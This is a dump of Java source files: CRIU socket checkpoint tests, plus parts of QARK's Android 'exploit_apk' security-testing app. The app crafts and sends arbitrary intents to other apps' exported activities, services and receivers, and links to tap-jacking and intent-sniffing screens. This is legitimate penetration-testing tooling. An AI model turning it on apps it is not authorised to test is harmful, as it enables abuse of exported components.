(socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_FAIL || socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_END) { System.exit(1); } else { socketMappedBuffer.putChar(Helper.MAPPED_INDEX, SocketHelper.STATE_SUCCESS); } } catch (Exception exception) { if (null != logger) { StringWriter writer = new StringWriter(); PrintWriter printWriter = new PrintWriter(writer); exception.printStackTrace(printWriter); logger.log(Level.SEVERE, "Exception occurred:" + exception); logger.log(Level.FINE, writer.toString()); } if (socketMappedBuffer != null) { socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); } } } } class ServerThread extends Thread { Socket socket = null; String name; int num; MappedByteBuffer socketMappedBuffer; Logger logger; ServerThread(Socket socket, String name, int num, Logger logger, MappedByteBuffer socketMappedBuffer) { this.socket = socket; this.name = name; this.logger = logger; this.num = num; this.socketMappedBuffer = socketMappedBuffer; } public void run() { try { String readMssg, msg1 = "Message1", msg2 = "Message2"; BufferedReader br = new BufferedReader(new InputStreamReader(socket.getInputStream())); PrintStream out = new PrintStream(socket.getOutputStream()); readMssg = br.readLine(); if (!msg1.equals(readMssg)) { logger.log(Level.SEVERE, "Message read by thread " + name + " was not 'Message1', received Message: " + readMssg); socket.close(); socketMappedBuffer.putChar(num, Helper.STATE_FAIL); } else { logger.log(Level.INFO, name + " received correct message"); out.println(msg2); logger.log(Level.INFO, name + " has sent message"); socket.close(); socketMappedBuffer.putChar(num, Helper.STATE_PASS); } } catch (Exception exception) { if (null != logger) { StringWriter writer = new StringWriter(); PrintWriter printWriter = new PrintWriter(writer); exception.printStackTrace(printWriter); logger.log(Level.SEVERE, "Exception occurred in thread :" + name + " " + exception); logger.log(Level.FINE, writer.toString()); } try { if (socket != null) { socket.close(); } } catch (IOException e) { ; } /* * If exception occurs fail the thread */ socketMappedBuffer.putChar(num, Helper.STATE_FAIL); } } }
7,342
32.99537
149
java
criu
criu-master/test/javaTests/src/org/criu/java/tests/SocketsServer.java
package org.criu.java.tests; import java.io.*; import java.lang.management.ManagementFactory; import java.lang.management.RuntimeMXBean; import java.net.ServerSocket; import java.net.Socket; import java.nio.MappedByteBuffer; import java.nio.channels.FileChannel; import java.nio.channels.FileChannel.MapMode; import java.nio.file.StandardOpenOption; import java.util.logging.Level; import java.util.logging.Logger; class SocketsServer { static String TESTNAME = "SocketsServer"; public static void main(String[] args) { MappedByteBuffer socketMappedBuffer = null; String msg1 = "Ch@ckM@$$@Ge!1", msg2 = "cH@C!m$SG!!2", msg3 = "@Ft@rCPM$$g3", msg4 = "Aft@rCPM$$g4", readMssg; FileChannel channel; String parentTestName, portArg; int port; Logger logger = null; try { parentTestName = args[0]; portArg = args[1]; port = Integer.parseInt(portArg); /* * Socket Mapped Buffer to communicate between server process, client process and the calling parent process. */ File socketfile = new File(Helper.OUTPUT_FOLDER_NAME + "/" + parentTestName + "/SocketsFile"); channel = FileChannel.open(socketfile.toPath(), StandardOpenOption.READ, StandardOpenOption.WRITE, StandardOpenOption.CREATE); socketMappedBuffer = channel.map(MapMode.READ_WRITE, 0, Helper.MAPPED_REGION_SIZE); channel.close(); logger = Logger.getLogger(Helper.PACKAGE_NAME + "." + TESTNAME); SocketHelper.init(TESTNAME, parentTestName, logger); logger.log(Level.INFO, "Begin"); logger.log(Level.INFO, "Parent name: " + parentTestName); RuntimeMXBean bean = ManagementFactory.getRuntimeMXBean(); String pid = bean.getName(); SocketHelper.writePid(parentTestName, pid); logger.log(Level.INFO, "Socket buffer mapped"); if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) != Helper.STATE_INIT) { logger.log(Level.SEVERE, "Socket-buffer not in expected Init state"); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); } ServerSocket s = new ServerSocket(port); logger.log(Level.INFO, "Server will be listening on Port " + port); /* * Timeout after 5 second if client does not connect */ s.setSoTimeout(5 * 1000); logger.log(Level.INFO, "Waiting for client to connect"); Socket socket = null; try { socketMappedBuffer.putChar(Helper.MAPPED_INDEX, SocketHelper.STATE_LISTEN); socket = s.accept(); } catch (Exception e) { logger.log(Level.SEVERE, "Timed out while waiting for client to connect"); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); } BufferedReader br = new BufferedReader(new InputStreamReader(socket.getInputStream())); PrintStream outstream = new PrintStream(socket.getOutputStream()); readMssg = br.readLine(); logger.log(Level.INFO, "Read message 1: " + readMssg); if (!msg1.equals(readMssg)) { logger.log(Level.SEVERE, "Message 1 received was wrong:rec " + readMssg + " expected: " + msg1); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_END); } logger.log(Level.INFO, "Sending message: " + msg2); outstream.println(msg2); logger.log(Level.INFO, "Going to checkpoint"); /* * Put socket Mapped Buffer to 'to be checkpointed' state and wait for restore */ socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_CHECKPOINT); SocketHelper.socketWaitForRestore(socketMappedBuffer, logger); if (!s.isBound()) { logger.log(Level.SEVERE, "Server is not bound to a port"); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } if (s.getLocalPort() != port) { logger.log(Level.SEVERE, "Server is not listening on correct port"); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); System.exit(1); } readMssg = br.readLine(); logger.log(Level.INFO, "Read message 3: " + readMssg); if (!msg3.equals(readMssg)) { logger.log(Level.SEVERE, "Message 3 received was wrong:rec " + readMssg + " expected: " + msg3); socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); socket.close(); System.exit(1); } outstream.println(msg4); logger.log(Level.INFO, "Sent message 4 " + msg4); /* * Put Socket-MappedBuffer to state SocketHelper.STATE_SUCCESS telling the server process has ended successfully. */ socket.close(); if (socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_FAIL || socketMappedBuffer.getChar(Helper.MAPPED_INDEX) == Helper.STATE_END) { System.exit(1); } else { socketMappedBuffer.putChar(Helper.MAPPED_INDEX, SocketHelper.STATE_SUCCESS); } } catch (Exception exception) { if (null != logger) { StringWriter writer = new StringWriter(); PrintWriter printWriter = new PrintWriter(writer); exception.printStackTrace(printWriter); logger.log(Level.SEVERE, "Exception occurred:" + exception); logger.log(Level.FINE, writer.toString()); } if (socketMappedBuffer != null) { socketMappedBuffer.putChar(Helper.MAPPED_INDEX, Helper.STATE_FAIL); } } } }
5,091
34.608392
149
java
criu
criu-master/test/others/app-emu/java/HelloWorld/HelloWorld.java
/* * Trivial program which requires no * additional imports */ public class HelloWorld { public static void main(String[] args) { int nr_sleeps = 5; for (;;) { System.out.println("Hello World"); if (nr_sleeps == 0) System.exit(0); try { Thread.sleep(1000); nr_sleeps--; } catch(InterruptedException ex) { Thread.currentThread().interrupt(); } } } }
391
17.666667
41
java
qark
qark-master/qark/exploit_apk/app/src/androidTest/java/com/secbro/qark/ApplicationTest.java
package com.secbro.qark; import android.app.Application; import android.test.ApplicationTestCase; /** * <a href="http://d.android.com/tools/testing/testing_android.html">Testing Fundamentals</a> */ public class ApplicationTest extends ApplicationTestCase<Application> { public ApplicationTest() { super(Application.class); } }
346
25.692308
93
java
qark
qark-master/qark/exploit_apk/app/src/main/java/com/secbro/qark/TopLevelActivity.java
/* * Copyright 2015 LinkedIn Corp. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. * You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. */ package com.secbro.qark; import android.content.Intent; import android.content.res.Configuration; import android.support.design.widget.NavigationView; import android.support.v4.app.Fragment; import android.support.v4.app.FragmentManager; import android.os.Bundle; import android.support.v4.view.GravityCompat; import android.support.v7.app.ActionBarDrawerToggle; import android.support.v7.app.AppCompatActivity; import android.support.v7.widget.Toolbar; import android.view.MenuItem; import android.support.v4.widget.DrawerLayout; import com.secbro.qark.customintent.CreateCustomIntentActivity; import com.secbro.qark.intentsniffer.BroadcastIntentSnifferFragment; import com.secbro.qark.exportedcomponent.ExportedComponentsFragment; import com.secbro.qark.filebrowser.FileBrowserFragment; import com.secbro.qark.tapjacking.TapJackingExploitFragment; import com.secbro.qark.webviewtests.WebViewTestsActivityFragment; public class TopLevelActivity extends AppCompatActivity { private DrawerLayout mDrawer; private NavigationView mNavigationView; private Toolbar mToolbar; private ActionBarDrawerToggle mDrawerToggle; public static String PACKAGE_NAME = "com.secbro.qark"; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_top_level); PACKAGE_NAME = getApplicationContext().getPackageName(); // Set a Toolbar to replace the ActionBar. mToolbar = (Toolbar) findViewById(R.id.toolbar); setSupportActionBar(mToolbar); mDrawer = (DrawerLayout) findViewById(R.id.drawer_layout); mDrawerToggle = setupDrawerToggle(); // Tie DrawerLayout events to the ActionBarToggle mDrawer.setDrawerListener(mDrawerToggle); // Find our drawer view mNavigationView = (NavigationView) findViewById(R.id.nvView); // Setup drawer view setupDrawerContent(mNavigationView); } private ActionBarDrawerToggle setupDrawerToggle() { return new ActionBarDrawerToggle(this, mDrawer, mToolbar, R.string.drawer_open, R.string.drawer_close); } private void setupDrawerContent(NavigationView navigationView) { navigationView.setNavigationItemSelectedListener( new NavigationView.OnNavigationItemSelectedListener() { @Override public boolean onNavigationItemSelected(MenuItem menuItem) { selectDrawerItem(menuItem); return true; } }); } @Override protected void onPostCreate(Bundle savedInstanceState) { super.onPostCreate(savedInstanceState); // Sync the toggle state after onRestoreInstanceState has occurred. mDrawerToggle.syncState(); } @Override public void onConfigurationChanged(Configuration newConfig) { super.onConfigurationChanged(newConfig); // Pass any configuration change to the drawer toggles mDrawerToggle.onConfigurationChanged(newConfig); } public void selectDrawerItem(MenuItem menuItem) { // update the main content by replacing fragments FragmentManager fragmentManager = getSupportFragmentManager(); switch(menuItem.getItemId()) { case R.id.nav_broadcast_intent_sniffer: fragmentManager.beginTransaction() .replace(R.id.container, BroadcastIntentSnifferFragment.newInstance()) .commit(); break; case R.id.nav_exported_components: fragmentManager.beginTransaction() .replace(R.id.container, new ExportedComponentsFragment()) .commit(); break; case R.id.nav_tap_jacking: fragmentManager.beginTransaction() .replace(R.id.container, new TapJackingExploitFragment()) .commit(); break; case R.id.nav_web_view_tests: fragmentManager.beginTransaction() .replace(R.id.container, new WebViewTestsActivityFragment()) .commit(); break; case R.id.nav_file_browser: Bundle args = new Bundle(); args.putString(FileBrowserFragment.INTENT_ACTION_SELECT_FILE, FileBrowserFragment.INTENT_ACTION_SELECT_FILE); Fragment instance = FileBrowserFragment.newInstance(); instance.setArguments(args); fragmentManager.beginTransaction() .replace(R.id.container, instance) .commit(); break; case R.id.nav_custom_intent: Intent createNewIntent = new Intent(this, CreateCustomIntentActivity.class); startActivity(createNewIntent); default: //TODO: } // Highlight the selected item, update the title, and close the drawer menuItem.setChecked(true); setTitle(menuItem.getTitle()); mDrawer.closeDrawers(); } @Override public boolean onOptionsItemSelected(MenuItem item) { int id = item.getItemId(); switch (item.getItemId()) { case android.R.id.home: mDrawer.openDrawer(GravityCompat.START); return true; } if (mDrawerToggle.onOptionsItemSelected(item)) { return true; } return super.onOptionsItemSelected(item); } }
6,117
37
161
java
qark
qark-master/qark/exploit_apk/app/src/main/java/com/secbro/qark/customintent/ChooseIntentUseCaseActivity.java
/* * Copyright 2015 LinkedIn Corp. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. * You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. */ package com.secbro.qark.customintent; import android.app.AlertDialog; import android.content.DialogInterface; import android.content.Intent; import android.os.Bundle; import android.support.v4.app.FragmentActivity; import android.support.v7.app.AppCompatActivity; import android.view.View; import android.widget.ArrayAdapter; import android.widget.Button; import android.widget.Spinner; import com.secbro.qark.R; public class ChooseIntentUseCaseActivity extends AppCompatActivity { private static final int START_ACTIVITY_FOR_RESULT = 1; private Spinner usecaseSpinner; private Button sendIntentButton; private AlertDialog errorDialog; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_choose_intent_use_case); final Intent customIntent = getIntent().getParcelableExtra(CreateCustomIntentActivity.CUSTOM_INTENT_EXTRA); if (customIntent == null) { throw new IllegalArgumentException("customIntent is null"); } //intent usecase spinner usecaseSpinner = (Spinner) findViewById(R.id.intent_use_case_spinner); ArrayAdapter<CharSequence> adapter = ArrayAdapter.createFromResource( this, R.array.intent_use_case, android.R.layout.simple_spinner_item); adapter.setDropDownViewResource(android.R.layout.simple_spinner_dropdown_item); usecaseSpinner.setAdapter(adapter); //Send intent button sendIntentButton = (Button) findViewById(R.id.activity_choose_intent_use_case_send_button); errorDialog = new AlertDialog.Builder(this).create(); errorDialog.setTitle("Error"); errorDialog.setButton(AlertDialog.BUTTON_NEUTRAL, "OK", new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog, int which) { dialog.dismiss(); } }); sendIntentButton.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { if (usecaseSpinner.getSelectedItem() == null) { errorDialog.setMessage("Invalid intent use case"); errorDialog.show(); } else { String useCase = usecaseSpinner.getSelectedItem().toString(); switch (useCase) { case "startActivity": //TODO: Validate data for startActivity is present startActivity(customIntent); break; case "startActivityForResult": //TODO:Validate customIntent startActivityForResult(customIntent, START_ACTIVITY_FOR_RESULT); break; case "startService": //TODO:Validate customIntent startService(customIntent); break; case "bindService": //TODO: break; case "sendBroadcast": //TODO:Validate customIntent sendBroadcast(customIntent); break; case "sendOrderedBroadcast": //TODO: //sendOrderedBroadcast(customIntent); break; case "sendStickyBroadcast": //TODO:Validate customIntent sendStickyBroadcast(customIntent); break; default: break; } } } }); } @Override protected void onActivityResult(int requestCode, int resultCode, Intent data) { // Check which request we're responding to if (requestCode == START_ACTIVITY_FOR_RESULT) { // Make sure the request was successful if (resultCode == RESULT_OK) { AlertDialog result = new AlertDialog.Builder(this).create(); result.setTitle("Result from startActivityForResult()"); result.setMessage(data.getDataString()); result.setButton(AlertDialog.BUTTON_NEUTRAL, "OK", new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog, int which) { dialog.dismiss(); } }); result.show(); } } } }
5,322
41.584
161
java
qark
qark-master/qark/exploit_apk/app/src/main/java/com/secbro/qark/customintent/CreateCustomIntentActivity.java
/* * Copyright 2015 LinkedIn Corp. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. * You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. */ package com.secbro.qark.customintent; import android.annotation.SuppressLint; import android.app.AlertDialog; import android.content.DialogInterface; import android.content.Intent; import android.net.Uri; import android.os.Bundle; import android.support.v4.app.FragmentActivity; import android.support.v7.app.AppCompatActivity; import android.text.TextUtils; import android.util.Log; import android.view.MotionEvent; import android.view.View; import android.view.ViewGroup; import android.widget.ArrayAdapter; import android.widget.AutoCompleteTextView; import android.widget.Button; import android.widget.EditText; import android.widget.ImageButton; import android.widget.LinearLayout; import android.widget.TextView; import com.secbro.qark.R; import java.util.ArrayList; public class CreateCustomIntentActivity extends AppCompatActivity { public static final String CUSTOM_INTENT_EXTRA = "CustomIntent"; AutoCompleteTextView extrasKey; AutoCompleteTextView intentAction; AutoCompleteTextView intentCategory; AutoCompleteTextView intentFlags; EditText intentData; EditText extrasValue; EditText componentName; EditText componentPackageName; ImageButton addMoreExtras; Button nextButton; Intent customIntent; AlertDialog errorDialog; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_create_custom_intent); //intent component name componentName = (EditText) findViewById(R.id.intent_component_name); //intent component package name componentPackageName = (EditText) findViewById(R.id.intent_component_package_name); //intent action intentAction = (AutoCompleteTextView) findViewById(R.id.intent_action_text_view); ArrayAdapter<String> adapter = new ArrayAdapter<String>(this, android.R.layout.simple_dropdown_item_1line, getResources().getStringArray(R.array.intent_actions_array)); intentAction.setAdapter(adapter); intentAction.setSelection(intentAction.getText().length()); intentAction.setOnTouchListener(new View.OnTouchListener() { @SuppressLint("ClickableViewAccessibility") @Override public boolean onTouch(View paramView, MotionEvent paramMotionEvent) { intentAction.showDropDown(); intentAction.requestFocus(); return false; } }); //intent data intentData = (EditText) findViewById(R.id.intent_data); //intent category intentCategory = (AutoCompleteTextView) findViewById(R.id.intent_category_text_view); ArrayAdapter<String> adapter1 = new ArrayAdapter<String>(this, android.R.layout.simple_dropdown_item_1line, getResources().getStringArray(R.array.intent_category_array)); intentCategory.setAdapter(adapter1); intentCategory.setSelection(intentCategory.getText().length()); intentCategory.setOnTouchListener(new View.OnTouchListener() { @SuppressLint("ClickableViewAccessibility") @Override public boolean onTouch(View paramView, MotionEvent paramMotionEvent) { intentCategory.showDropDown(); intentCategory.requestFocus(); return false; } }); //intent flags intentFlags = (AutoCompleteTextView) findViewById(R.id.intent_flags_text_view); ArrayAdapter<String> adapter2 = new ArrayAdapter<String>(this, android.R.layout.simple_dropdown_item_1line, getResources().getStringArray(R.array.intent_flags_array)); intentFlags.setAdapter(adapter2); intentFlags.setSelection(intentFlags.getText().length()); intentFlags.setOnTouchListener(new View.OnTouchListener() { @SuppressLint("ClickableViewAccessibility") @Override public boolean onTouch(View paramView, MotionEvent paramMotionEvent) { intentFlags.showDropDown(); intentFlags.requestFocus(); return false; } }); //intent extras key extrasKey = (AutoCompleteTextView) findViewById(R.id.key1); ArrayAdapter<String> adapter3 = new ArrayAdapter<String>(this, android.R.layout.simple_dropdown_item_1line, getResources().getStringArray(R.array.intent_extras_array)); extrasKey.setAdapter(adapter3); extrasKey.setSelection(extrasKey.getText().length()); extrasKey.setOnTouchListener(new View.OnTouchListener() { @SuppressLint("ClickableViewAccessibility") @Override public boolean onTouch(View paramView, MotionEvent paramMotionEvent) { extrasKey.showDropDown(); extrasKey.requestFocus(); return false; } }); //intent extras value extrasValue = (EditText) findViewById(R.id.value1); //add more extras button addMoreExtras = (ImageButton) findViewById(R.id.add_more_extras_button); addMoreExtras.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { createExtrasView(); } }); //next button nextButton = (Button) findViewById(R.id.activity_create_custom_intent_next_button); nextButton.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { createIntentFromFormData(); Intent nextIntent = new Intent(CreateCustomIntentActivity.this, ChooseIntentUseCaseActivity.class); nextIntent.putExtra(CUSTOM_INTENT_EXTRA, customIntent); startActivity(nextIntent); } }); } private void createIntentFromFormData() { customIntent = new Intent(); if (!TextUtils.isEmpty(componentName.getText()) && !TextUtils.isEmpty(componentPackageName.getText())) { customIntent.setClassName(componentPackageName.getText().toString(), componentName.getText().toString()); } if(!TextUtils.isEmpty(intentAction.getText())) { customIntent.setAction(intentAction.getText().toString()); } if(!TextUtils.isEmpty(intentData.getText())) { customIntent.setData(Uri.parse(intentData.getText().toString())); } if(!TextUtils.isEmpty(intentCategory.getText())) { customIntent.addCategory(intentCategory.getText().toString()); } if(!TextUtils.isEmpty(intentFlags.getText())) { customIntent.setFlags(Integer.parseInt(intentFlags.getText().toString())); } populateExtrasKeyValuePairs(); //intent is ready now! } private void populateExtrasKeyValuePairs() { ViewGroup extrasContainer = (ViewGroup) findViewById(R.id.extras_key_value_container); ArrayList<String> keys = new ArrayList<>(); ArrayList<String> values = new ArrayList<>(); findAllKeys(keys, extrasContainer); findAllValues(values, extrasContainer); if (keys.size() != values.size()) { errorDialog = new AlertDialog.Builder(CreateCustomIntentActivity.this).create(); errorDialog.setTitle("Error"); errorDialog.setButton(AlertDialog.BUTTON_NEUTRAL, "OK", new DialogInterface.OnClickListener() { public void onClick(DialogInterface dialog, int which) { dialog.dismiss(); } }); errorDialog.setMessage("Intent extras key value do not match in number"); errorDialog.show(); } else { for (int i=0; i<keys.size() ; i++) { Log.d("Extras key/value pair", keys.get(i) + "/" + values.get(i)); customIntent.putExtra(keys.get(i), values.get(i)); } } } private ArrayList<String> findAllKeys(ArrayList<String> keys, ViewGroup viewGroup) { int count = viewGroup.getChildCount(); for (int i = 0; i < count; i++) { View view = viewGroup.getChildAt(i); if (view instanceof ViewGroup) findAllKeys(keys, (ViewGroup) view); else if (view instanceof TextView) { TextView textview = (TextView) view; // if (!textview.getText().toString().equals(getResources().getString(R.string.intent_extras_key)) && // !textview.getText().toString().equals(getResources().getString(R.string.intent_extras_value)) && // !textview.getTag().toString().equals("value_field")) { if (textview.getTag() != null && textview.getTag().toString().equals("key_field")) { keys.add(textview.getText().toString()); } } } return keys; } private ArrayList<String> findAllValues(ArrayList<String> values, ViewGroup viewGroup) { int count = viewGroup.getChildCount(); for (int i = 0; i < count; i++) { View view = viewGroup.getChildAt(i); if (view instanceof ViewGroup) findAllValues(values, (ViewGroup) view); else if (view instanceof EditText) { EditText edittext = (EditText) view; if (edittext.getTag() != null && edittext.getTag().toString().equals("value_field")) { values.add(edittext.getText().toString()); } } } return values; } private void createExtrasView() { LinearLayout topLayout = (LinearLayout) findViewById(R.id.extras_key_value_container); LinearLayout.LayoutParams llpTextView = new LinearLayout.LayoutParams(ViewGroup.LayoutParams.WRAP_CONTENT, ViewGroup.LayoutParams.WRAP_CONTENT); llpTextView.setMargins(10, 20, 10, 10); // llp.setMargins(left, top, right, bottom); LinearLayout.LayoutParams llpEditText = new LinearLayout.LayoutParams(ViewGroup.LayoutParams.MATCH_PARENT, ViewGroup.LayoutParams.WRAP_CONTENT); llpEditText.setMargins(10, 20, 10, 10); // llp.setMargins(left, top, right, bottom); //key LinearLayout keyLinearLayout = new LinearLayout(this); keyLinearLayout.setOrientation(LinearLayout.HORIZONTAL); TextView keyTextView = new TextView(this); keyTextView.setText(getResources().getString(R.string.intent_extras_key)); keyTextView.setLayoutParams(llpTextView); AutoCompleteTextView keyEditText = new AutoCompleteTextView(this); keyEditText.setLayoutParams(llpEditText); ArrayAdapter<String> adapter3 = new ArrayAdapter<String>(this, android.R.layout.simple_dropdown_item_1line, getResources().getStringArray(R.array.intent_extras_array)); keyEditText.setAdapter(adapter3); keyEditText.setSelection(keyEditText.getText().length()); keyEditText.setTag("key_field"); keyLinearLayout.addView(keyTextView); keyLinearLayout.addView(keyEditText); //value LinearLayout valueLinearLayout = new LinearLayout(this); valueLinearLayout.setOrientation(LinearLayout.HORIZONTAL); TextView valueTextView = new TextView(this); valueTextView.setText(getResources().getString(R.string.intent_extras_value)); valueTextView.setLayoutParams(llpTextView); EditText valueEditText = new EditText(this); valueEditText.setTag("value_field"); valueEditText.setLayoutParams(llpEditText); valueLinearLayout.addView(valueTextView); valueLinearLayout.addView(valueEditText); topLayout.addView(keyLinearLayout); topLayout.addView(valueLinearLayout); } }
12,463
40.685619
161
java
qark
qark-master/qark/exploit_apk/app/src/main/java/com/secbro/qark/exportedcomponent/ExportedComponentsFragment.java
/* * Copyright 2015 LinkedIn Corp. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. * You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. */ package com.secbro.qark.exportedcomponent; import android.os.Bundle; import android.support.v4.app.FragmentManager; import android.support.v4.app.ListFragment; import android.util.Log; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.ArrayAdapter; import android.widget.ListView; import com.secbro.qark.R; import com.secbro.qark.exportedcomponent.exportedactivity.ExportedActivityListFragment; import com.secbro.qark.exportedcomponent.exportedreceiver.ExportedReceiverListFragment; public class ExportedComponentsFragment extends ListFragment { private static final String LOG_TAG = ExportedComponentsFragment.class.getSimpleName(); public interface IExportedComponents { String EXPORTED_ACTIVITIES = "Activities"; String EXPORTED_RECEIVERS = "Broadcast Receivers"; String EXPORTED_SERVICES = "Services"; String EXPORTED_CONTENT_PROVIDERS = "Content Providers"; } private static String[] exportedComponents = { IExportedComponents.EXPORTED_ACTIVITIES, IExportedComponents.EXPORTED_RECEIVERS, IExportedComponents.EXPORTED_SERVICES, IExportedComponents.EXPORTED_CONTENT_PROVIDERS }; private ListView mListView; /** * Mandatory empty constructor for the fragment manager to instantiate the * fragment (e.g. upon screen orientation changes). */ public ExportedComponentsFragment() { } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { super.onCreateView(inflater, container, savedInstanceState); View retVal = inflater.inflate(R.layout.fragment_exported_components, container, false); mListView = (ListView) retVal.findViewById(android.R.id.list); return retVal; } @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setListAdapter(new ArrayAdapter<String>(getActivity(), android.R.layout.simple_list_item_1, android.R.id.text1, exportedComponents)); } @Override public void onListItemClick(ListView l, View v, int position, long id) { super.onListItemClick(l, v, position, id); FragmentManager fragmentManager = getFragmentManager(); switch (exportedComponents[position]) { case IExportedComponents.EXPORTED_ACTIVITIES: fragmentManager.beginTransaction() .replace(R.id.container, new ExportedActivityListFragment()) .commit(); break; case IExportedComponents.EXPORTED_RECEIVERS: fragmentManager.beginTransaction() .replace(R.id.container, new ExportedReceiverListFragment()) .commit(); break; case IExportedComponents.EXPORTED_SERVICES: //TODO break; case IExportedComponents.EXPORTED_CONTENT_PROVIDERS: //TODO break; default: Log.d(LOG_TAG, "Exported component not supported"); break; } } }
3,732
35.598039
161
java
qark
qark-master/qark/exploit_apk/app/src/main/java/com/secbro/qark/exportedcomponent/exportedactivity/ExportedActivityListFragment.java
/* * Copyright 2015 LinkedIn Corp. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. * You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. */ package com.secbro.qark.exportedcomponent.exportedactivity; import android.content.Intent; import android.os.Bundle; import android.support.v4.app.ListFragment; import android.util.Log; import android.view.LayoutInflater; import android.view.View; import android.view.ViewGroup; import android.widget.ArrayAdapter; import android.widget.ListAdapter; import android.widget.ListView; import com.secbro.qark.R; import com.secbro.qark.exportedcomponent.exportedreceiver.ExportedReceiverListFragment; import java.util.ArrayList; import java.util.Arrays; import java.util.HashMap; import java.util.LinkedHashMap; import java.util.List; import java.util.Map; public class ExportedActivityListFragment extends ListFragment { private final static String LOG_TAG = ExportedActivityListFragment.class.getSimpleName(); public static final String EXPORTED_ACTIVITY_NAME = "ExportedActivityName"; public static final String EXPORTED_ACTIVITY_ID = "ExportedActivityId"; private List<String> exportedActivities; private Map<String, String> exportedActivitiesIdNameMap; /** * The fragment's ListView/GridView. */ private ListView mListView; public static ExportedReceiverListFragment newInstance() { ExportedReceiverListFragment fragment = new ExportedReceiverListFragment(); return fragment; } /** * Mandatory empty constructor for the fragment manager to instantiate the * fragment (e.g. upon screen orientation changes). */ public ExportedActivityListFragment() { } @Override public View onCreateView(LayoutInflater inflater, ViewGroup container, Bundle savedInstanceState) { super.onCreateView(inflater, container, savedInstanceState); View retVal = inflater.inflate(R.layout.fragment_exported_activity_list, container, false); mListView = (ListView) retVal.findViewById(android.R.id.list); return retVal; } @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); exportedActivities = Arrays.asList(getResources().getStringArray(R.array.exportedActivities)); if (exportedActivities != null && exportedActivities.size() != 0) { exportedActivitiesIdNameMap = new LinkedHashMap<>(); for (String activity : exportedActivities) { if (getResources().getIdentifier(activity, "string", getActivity().getPackageName()) != 0) { exportedActivitiesIdNameMap.put(activity, getResources().getString(getResources().getIdentifier(activity, "string", getActivity().getPackageName()))); } else { throw new IllegalArgumentException("No matching exportedActivities names found in string.xml "); } } setListAdapter(new ArrayAdapter<String>(getActivity(), android.R.layout.simple_list_item_1, android.R.id.text1, new ArrayList<String>(exportedActivitiesIdNameMap.values()))); } else { Log.d(LOG_TAG, "No exported activities to exploit"); } } @Override public void onListItemClick(ListView l, View v, int position, long id) { super.onListItemClick(l, v, position, id); Intent startActivityIntent = new Intent(getActivity(), IntentSenderActivity.class); startActivityIntent.putExtra(EXPORTED_ACTIVITY_NAME, exportedActivitiesIdNameMap.get(exportedActivities.get(position))); startActivityIntent.putExtra(EXPORTED_ACTIVITY_ID, exportedActivities.get(position)); startActivity(startActivityIntent); } }
4,101
39.215686
170
java
qark
qark-master/qark/exploit_apk/app/src/main/java/com/secbro/qark/exportedcomponent/exportedactivity/IntentParamsFragment.java
